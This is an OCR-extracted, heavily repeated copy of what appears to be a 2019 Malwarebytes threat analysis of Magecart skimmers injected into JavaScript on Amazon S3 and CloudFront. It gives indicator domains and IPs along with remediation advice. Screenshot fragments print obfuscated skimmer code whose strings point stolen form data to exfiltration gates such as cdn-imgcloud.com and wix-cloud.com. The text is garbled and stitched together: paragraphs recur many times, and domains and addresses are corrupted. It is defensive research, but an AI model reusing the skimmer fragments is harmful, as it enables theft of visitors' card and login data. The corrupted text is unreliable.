Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.

We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.

Indicators of Compromise (IoCs)
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Finally, here’s another example where the skimmer was injected in various scripts loaded from a custom
CloudFront URL.
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form

instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
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CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.

Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.]Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(ww1-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS71.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.
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What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets|.]com started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud|.]Jcom, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.
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We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.
Indicators of Compromise (IoCs)

wwl-filecloud[.]Jcom,45.114.8[.]1159
cdn-imgcloud[.]Jcom,45.114.8[.]160
font-assets[.]Jcom,45.114.8[.1161
wix-cloud[.]com,45.114.8[.]162
js-cloudhost[.]Jcom,45.114.8[.]163

Update (06-08-2019): The compromises of Amazon S3 buckets continue and some large sites are being affected.
Our crawler spotted a malicious injection that loads a skimmer for the Washington Wizards page on the official

NBA.com website.
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The skimmer was inserted in this JavaScript library:

hxxps://s3[.]amazonaws[ .]com/wsaimages/js/wizards[.]js
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Interestingly, this same library had already been altered (loading content from com (opens in a new tab)”>)_some

time earlier in January of this year. We have reported this incident to Amazon. A complete archived scan of the

page can be found here.

Late last week, we observed a number of compromises on Amazon CloudFront — a Content Delivery Network

(CDN) — where hosted JavaScript libraries were tampered with and injected with web skimmers.

Although attacks that involve CDNs usually affect a large number of web properties at once via their supply chain,
this isn’t always the case. Some websites either use Amazon’s cloud infrastructure to host their own libraries or

link to code developed specifically for them and hosted on a custom AWS S3 bucket.

Without properly validating content loaded externally, these sites are exposing their users to various threats,
including some that pilfer credit card data. After analyzing these breaches, we found that they are a continuation of

a campaign from Magecart threat actors attempting to cast a wide net around many different CDNs.

The ideal place to conceal a skimmer

CDNss are widely used because they provide great benefits to website owners, including optimizing load times and

cost, as well as helping with all sorts of data analytics.

The sites we identified during a crawl had nothing in common other than the fact they were all using their own
custom CDN to load various libraries. In effect, the only resulting victims of a compromise on their CDN

repository would be themselves.

This first example shows a JavaScript library that is hosted on its own dedicated AWS S3 bucket. The skimmer

can be seen appended to the original code and using obfuscation to conceal itself.

This second case shows the skimmer injected not just in one library, but several contained within the same

directory, once again part of an S3 bucket that is only used by this one website.
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Finally, here’s another example where the skimmer was injected in various scripts loaded from a custom
CloudFront URL.
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form

instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
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CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.

Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.]Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(ww1-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS71.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.
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What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets|.]com started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud|.]Jcom, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.
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We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.
Indicators of Compromise (IoCs)

wwl-filecloud[.]Jcom,45.114.8[.]1159
cdn-imgcloud[.]Jcom,45.114.8[.]160
font-assets[.]Jcom,45.114.8[.1161
wix-cloud[.]com,45.114.8[.]162
js-cloudhost[.]Jcom,45.114.8[.]163

Update (06-08-2019): The compromises of Amazon S3 buckets continue and some large sites are being affected.
Our crawler spotted a malicious injection that loads a skimmer for the Washington Wizards page on the official

NBA.com website.
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4 » 9 characters selected

The skimmer was inserted in this JavaScript library:

hxxps://s3[.]amazonaws[ .]com/wsaimages/js/wizards[.]js
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Interestingly, this same library had already been altered (loading content from com (opens in a new tab)”>)_some

time earlier in January of this year. We have reported this incident to Amazon. A complete archived scan of the

page can be found here.

Late last week, we observed a number of compromises on Amazon CloudFront — a Content Delivery Network

(CDN) — where hosted JavaScript libraries were tampered with and injected with web skimmers.

Although attacks that involve CDNs usually affect a large number of web properties at once via their supply chain,
this isn’t always the case. Some websites either use Amazon’s cloud infrastructure to host their own libraries or

link to code developed specifically for them and hosted on a custom AWS S3 bucket.

Without properly validating content loaded externally, these sites are exposing their users to various threats,
including some that pilfer credit card data. After analyzing these breaches, we found that they are a continuation of

a campaign from Magecart threat actors attempting to cast a wide net around many different CDNs.

The ideal place to conceal a skimmer

CDNss are widely used because they provide great benefits to website owners, including optimizing load times and

cost, as well as helping with all sorts of data analytics.

The sites we identified during a crawl had nothing in common other than the fact they were all using their own
custom CDN to load various libraries. In effect, the only resulting victims of a compromise on their CDN

repository would be themselves.

This first example shows a JavaScript library that is hosted on its own dedicated AWS S3 bucket. The skimmer

can be seen appended to the original code and using obfuscation to conceal itself.

This second case shows the skimmer injected not just in one library, but several contained within the same

directory, once again part of an S3 bucket that is only used by this one website.
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Finally, here’s another example where the skimmer was injected in various scripts loaded from a custom
CloudFront URL.
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form

instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
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CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.

Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.]Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(ww1-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS71.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.
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What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets|.]com started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud|.]Jcom, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.
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We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.

Indicators of Compromise (IoCs)

wwl-filecloud[.]Jcom,45.114.8[.]1159
cdn-imgcloud[.]Jcom,45.114.8[.]160
font-assets[.]Jcom,45.114.8[.]1161
wix-cloud[.]com,45.114.8[.]162
js-cloudhost[.]Jcom,45.114.8[.]163
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form
instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.
Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(wwl-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS1.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.
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What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets[.]Jcom started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud[.]com, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.

We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.

Indicators of Compromise (IoCs)

wwl-filecloud[.]Jcom,45.114.8[.]1159
cdn-imgcloud[.]Jcom,45.114.8[.]160
font-assets[.]Jcom,45.114.8[.]1161
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Update (06-08-2019): The compromises of Amazon S3 buckets continue and some large sites are being affected.

Our crawler spotted a malicious injection that loads a skimmer for the Washington Wizards page on the official

NBA.com website.
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» O raw.githubusercont | 1693 -~

Dor oxssdeac - s Exfiltration gate: https://wix-cloud.com/img

72 | JOX55d63€E[_@x551F( 0x16')] = '[x6B\XTA\NTA\XTO\XT3\ X3 \X2F\ X2 F\XTT\ X6\ K78\ x2d\X63 \XEC\ X6 F\XT5\ K64 \X.
_@x55d63c M \xB1\xT4\xEL"] = {};
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» (™ svnc.ecal.com M
Fl » 9 characters selected

The skimmer was inserted in this JavaScript library:

hxxps://s3[.]amazonaws[.]com/wsaimages/js/wizards[.]js

Interestingly, this same library had already been altered (loading content from com (opens in a new tab)”>) some

time earlier in January of this year. We have reported this incident to Amazon. A complete archived scan of the

page can be found here.

Late last week, we observed a number of compromises on Amazon CloudFront — a Content Delivery Network

(CDN) — where hosted JavaScript libraries were tampered with and injected with web skimmers.
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Although attacks that involve CDNs usually affect a large number of web properties at once via their supply chain,
this isn’t always the case. Some websites either use Amazon’s cloud infrastructure to host their own libraries or

link to code developed specifically for them and hosted on a custom AWS S3 bucket.

Without properly validating content loaded externally, these sites are exposing their users to various threats,
including some that pilfer credit card data. After analyzing these breaches, we found that they are a continuation of

a campaign from Magecart threat actors attempting to cast a wide net around many different CDNs.

The ideal place to conceal a skimmer

CDNss are widely used because they provide great benefits to website owners, including optimizing load times and

cost, as well as helping with all sorts of data analytics.

The sites we identified during a crawl had nothing in common other than the fact they were all using their own
custom CDN to load various libraries. In effect, the only resulting victims of a compromise on their CDN

repository would be themselves.

This first example shows a JavaScript library that is hosted on its own dedicated AWS S3 bucket. The skimmer

can be seen appended to the original code and using obfuscation to conceal itself.

This second case shows the skimmer injected not just in one library, but several contained within the same

directory, once again part of an S3 bucket that is only used by this one website.
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Finally, here’s another example where the skimmer was injected in various scripts loaded from a custom
CloudFront URL.
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form

instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
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CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.

Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.]Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(ww1-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS71.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.

%{‘—cloud.com pjs—cloudhost.com

o8 %

£E345114.8.162 $£245114.8.163

~ 7
at s
~

pcdn—imgcloud.com
- TQASN 55933
451148150 1 - /

-

a / | E25.1148.160
e '

— IN\\‘H E945.114.8.161
i+ |

ww 1-filecloud.com |—Ofgnt_355et5_com

What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets|.]com started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud|.]Jcom, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.
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We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.

Indicators of Compromise (IoCs)

wwl-filecloud[.]com,45.114.8[.]159
cdn-imgcloud[.]Jcom,45.114.8[.]160
font-assets[.]Jcom,45.114.8[.]1161
wix-cloud[.]com,45.114.8[.]162
js-cloudhost[.]Jcom,45.114.8[.]163
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Finally, here’s another example where the skimmer was injected in various scripts loaded from a custom
CloudFront URL.
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form

instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
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CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.

Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.]Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(ww1-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS71.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.

%{‘—cloud.com pjs—cloudhost.com

o8 %

£E345114.8.162 $£245114.8.163

~ 7
at s
~

pcdn—imgcloud.com
- TQASN 55933
451148150 1 - /
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a / | E25.1148.160
e '

— IN\\‘H E945.114.8.161
i+ |

ww 1-filecloud.com |—Ofgnt_355et5_com

What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets|.]com started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud|.]Jcom, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.
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We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.
Indicators of Compromise (IoCs)

wwl-filecloud[.]Jcom,45.114.8[.]1159
cdn-imgcloud[.]Jcom,45.114.8[.]160
font-assets[.]Jcom,45.114.8[.1161
wix-cloud[.]com,45.114.8[.]162
js-cloudhost[.]Jcom,45.114.8[.]163

Update (06-08-2019): The compromises of Amazon S3 buckets continue and some large sites are being affected.
Our crawler spotted a malicious injection that loads a skimmer for the Washington Wizards page on the official

NBA.com website.
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The skimmer was inserted in this JavaScript library:

hxxps://s3[.]amazonaws[ .]com/wsaimages/js/wizards[.]js
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Interestingly, this same library had already been altered (loading content from com (opens in a new tab)”>)_some

time earlier in January of this year. We have reported this incident to Amazon. A complete archived scan of the

page can be found here.

Late last week, we observed a number of compromises on Amazon CloudFront — a Content Delivery Network

(CDN) — where hosted JavaScript libraries were tampered with and injected with web skimmers.

Although attacks that involve CDNs usually affect a large number of web properties at once via their supply chain,
this isn’t always the case. Some websites either use Amazon’s cloud infrastructure to host their own libraries or

link to code developed specifically for them and hosted on a custom AWS S3 bucket.

Without properly validating content loaded externally, these sites are exposing their users to various threats,
including some that pilfer credit card data. After analyzing these breaches, we found that they are a continuation of

a campaign from Magecart threat actors attempting to cast a wide net around many different CDNs.

The ideal place to conceal a skimmer

CDNss are widely used because they provide great benefits to website owners, including optimizing load times and

cost, as well as helping with all sorts of data analytics.

The sites we identified during a crawl had nothing in common other than the fact they were all using their own
custom CDN to load various libraries. In effect, the only resulting victims of a compromise on their CDN

repository would be themselves.

This first example shows a JavaScript library that is hosted on its own dedicated AWS S3 bucket. The skimmer

can be seen appended to the original code and using obfuscation to conceal itself.

This second case shows the skimmer injected not just in one library, but several contained within the same

directory, once again part of an S3 bucket that is only used by this one website.
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Finally, here’s another example where the skimmer was injected in various scripts loaded from a custom
CloudFront URL.
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form

instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
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CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.

Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.]Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(ww1-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS71.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.
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What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets|.]com started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud|.]Jcom, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.
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We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.

Indicators of Compromise (IoCs)

wwl-filecloud[.]Jcom,45.114.8[.]1159
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js-cloudhost[.]Jcom,45.114.8[.]163

& Progress Telerik Fiddler Web Debugger - EKFiddle v.0.9.1 — O x

File Edit Rules Tools Wiew Help Links
QuickSave Ulmode VPM Proxy Import SAZ/PCAP  Update/View Regexes Run Regexes Clear Markings

41

-

Server IP Server Type Protocol Host URL
52.222.157.53 Amazons3 HTTPS  cloudfront. .com [site/static/ - 1fjs/script?...
Id
o o id Id
Fiddler Orchestra Beta i Fiddlerseript E] Log Filters = Timeline
(%) Statistics i Inspectors 4 AutoResponder # Composer

[Headers | TextView | SyntaxView | WebForms | HexView | Auth | Cookies | Raw | J5ON | xML |
[Raw] [Header Definitions]

GET /sitelstatic || _ isfscript minjs?v=23 HTTR/1.1
Client
Miscellaneous

Transport

£ >

Transformer | Headers ||Te:-ct\-’iew | Syntax\View | ImageView | HexView | WebView | Auth | Caching
Cookies | Raw | 350N | xML |

G_more_"+ald).contDivLess=gid("ING_less_"+ald).id="Ingredients_"+ald)."more ==operation ?(${"& +id+" ~
[i").show().contDivMore style. display="none" contDivLess style display="block™):"less"==operation& & ($"# +id+"
II").slice(8). hide().contDivLess style display="none" contDivMore style display="block™)}0<document. querySelectorAll(

" Recipe_article_"+ald).length&&getMoreOrLessCont{™. ™. "onload™ ald);

var _0x2620="x521x32x56x30x53 =5 Mx3 Txb8xbalx 325656 G mbd\x 7 Mx3d’, kB 2x 3235\ 7Hxba\nb 7ixd 6
BbxE5 %58 xd el 3D x5 =08 R0 2 BB Nx I 2N 68 G 6 2 xGd 64 xbe, B3 x6d x5 68 x5a\xd BB Ed xb4\xd 7
e Bl 3055 Tix3dx3d", " wSHx 32w 3% 74 B3 1ed Tin 781G\ xG \md V55w 3d", "B 3 3256 305 I =57 35w 30
x5axb8xda\ k32 EH 57w 7 M ndd’, kB 3w Gd 56w 7 Finb2ixnd Vxd BxbaixbalxbTw3dx3d’, "wb4ixd V56 \x FalxGdmd 1

x3dx3d', =G 57Nx3530
5T etlmageUrlonreadystatechangereadyStatecompletesetintervalreplacetestle B4 e 13

\w3d" wEawaEthisOpenorientationdispatchEventdevtoolschangeouterWidthinnerwidtho Egix3nix5a
x58xdaix52futerHeightinnerHeightverticalFirebugchromeisinitializedundefinedexportsdefixd 1\x3d

w3d', wE2x3toolsprototypecharCodeAthttps://cdn- alx4S\x5a
57 xBelxBe mgcloud.com/imgDataSentlsValidsaveParaminputtextareaSendDataDomainT, 357 xda
3 TxBakx sendIMG Bl 7361
x58x70x6c\ 22 b21x33xda

30BN T T 3dx 3", w5alxd Tix 561 32w B4 xd T 3G 766 24 Bimd dix3d", "w B I xd Blxd alx 7664 ed Tix 3IFx 3065
58w 2nbe’, wE w32 G B8 G I xbbind el VX Ea nd V56 x4 2B x4 T Idx3d", "= 6 1 x4 BB 2w 3D x G314 Blxd d

300:75 29,177/33,250 View in Notepad

= Al Processes 1/4 425mb  https://doudfront.timesnownews.comy/site/ static/we

Page 293 of 351


https://www.malwarebytes.com/
https://www.malwarebytes.com/wp-content/uploads/sites/2/2019/06/traffic_capture.png
https://www.malwarebytes.com/wp-content/uploads/sites/2/2019/06/traffic_capture.png

https://blog.malwarebytes.com /threat-analysis/2019/06 /magecart-skimmers-found-on-amazon-cloudfront-cdn/

Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form
instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
